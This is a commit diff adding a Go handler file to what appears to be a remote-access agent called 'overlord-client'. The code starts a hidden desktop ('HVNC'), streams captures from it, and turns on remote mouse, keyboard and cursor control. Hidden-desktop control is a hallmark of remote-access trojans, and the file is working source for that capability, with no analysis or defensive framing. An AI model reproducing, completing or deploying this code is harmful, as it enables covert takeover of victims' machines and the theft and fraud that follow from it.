inital commit
This commit is contained in:
@@ -0,0 +1,90 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
hvncPersistedDisplayValue int
|
||||
hvncPersistedDisplayMu sync.Mutex
|
||||
)
|
||||
|
||||
func persistHVNCDisplaySelection(display int) {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
hvncPersistedDisplayValue = display
|
||||
hvncPersistedDisplayMu.Unlock()
|
||||
}
|
||||
|
||||
func GetPersistedHVNCDisplay() int {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
defer hvncPersistedDisplayMu.Unlock()
|
||||
return hvncPersistedDisplayValue
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||
|
||||
if err := capture.InitializeHVNCDesktop(); err != nil {
|
||||
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
if err := capture.NowHVNC(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
prev := env.HVNCSelectedDisplay
|
||||
maxDisplays := capture.HVNCMonitorCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
|
||||
display = 0
|
||||
}
|
||||
env.HVNCSelectedDisplay = display
|
||||
|
||||
persistHVNCDisplaySelection(display)
|
||||
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCMouseControl = enabled
|
||||
log.Printf("hvnc: mouse control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCKeyboardControl = enabled
|
||||
log.Printf("hvnc: keyboard control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCCursorCapture = enabled
|
||||
capture.SetHVNCCursorCapture(enabled)
|
||||
log.Printf("hvnc: cursor capture %v", enabled)
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user